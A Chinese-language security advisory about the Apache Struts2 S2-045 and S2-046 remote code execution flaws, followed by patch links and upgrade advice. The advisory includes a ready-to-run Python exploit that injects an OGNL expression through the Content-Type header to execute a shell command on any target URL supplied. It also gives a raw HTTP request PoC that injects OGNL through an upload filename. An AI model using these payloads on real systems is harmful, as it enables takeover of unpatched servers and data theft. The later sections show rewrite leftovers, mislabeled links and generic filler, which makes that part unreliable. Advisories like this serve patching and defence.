最近,安恒信息安全研究院的WEBIN实验室高级安全研究员nike.zheng发现了著名J2EE框架——Struts2存在远程代码执行漏洞。该漏洞被定级为高危漏洞,已经被Struts2官方确认(S2-045,S2-046)。Struts2的使用范围非常广泛,国内外都有大量厂商使用该框架。
据报道,当使用Jakarta插件处理文件上传操作时,可能会导致远程代码执行漏洞。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,这将对受影响站点造成严重影响,并引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。特别是政府、公安、交通、金融和运营商等单位和机构需要特别重视信息安全保密工作,敏感信息的泄漏有可能对国家造成沉重的打击,甚至会违反相关的法律规定。
针对此次漏洞,安恒安全专家建议尽快更新Struts2版本或采用第三方防护措施如具备防护能力的WEB防火墙或云防护产品进行防范。此外,攻击者可以通过构造HTTP请求头中的Content-Type值来造成远程代码执行(S2-045 PoC)。
```python
#!/usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]), datagen, headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()
```
以下是重构后的内容:
S2-046漏洞影响(更新)
该漏洞的影响包括:
1. 触发条件:上传文件的大小大于Struts2允许的最大大小(2GB),或者文件名内容构造恶意的OGNL内容。
2. PoC:
```bash
POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
```
3. 修复建议:
严格过滤Content-Type和filename里的内容,严禁ognl表达式相关字段。如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。强烈推荐阅读官网公告以获取更多信息。
官网公告:https://cwiki.apache.org/confluence/display/WW/S2-045
https://cwiki.apache.org/confluence/display/WW/S2-046
补丁地址:Struts 2.3.32:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32
Struts 2.5.10.1版本的更新说明如下:
1. 参考链接:
- Struts 2.5.10.1官方文档:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
- Struts 2.5.10.1官方文档(部分页面):http://struts.apache.org/docs/s2-045.html
- Struts 2.5.10.1官方文档(部分页面):http://struts.apache.org/docs/s2-046.html
- Struts 2.5.10.1官方文档(社区讨论):https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#
2. Struts 2.5.10.1版本主要更新内容:
- 在Struts 2.5.10.1中,修复了一个已知的安全漏洞。该漏洞可能导致攻击者通过构造恶意请求来执行未授权的操作。为了防止此类攻击,建议用户尽快升级到最新版本的Struts。
3. 建议升级方案:
- 对于已经部署了Struts 2.5.x版本的用户,建议按照以下步骤进行升级:
1. 首先备份您的项目和配置文件,以防升级过程中出现问题。
2. 然后,访问Struts官方网站(http://struts.apache.org/)下载最新版本的Struts安装包。
3. 按照官方文档的指引进行安装和配置。
4. 最后,测试您的应用程序以确保其正常运行。
- 对于尚未部署Struts的用户,建议直接下载并安装最新版本的Struts。在安装过程中,请确保遵循官方文档的指引进行操作。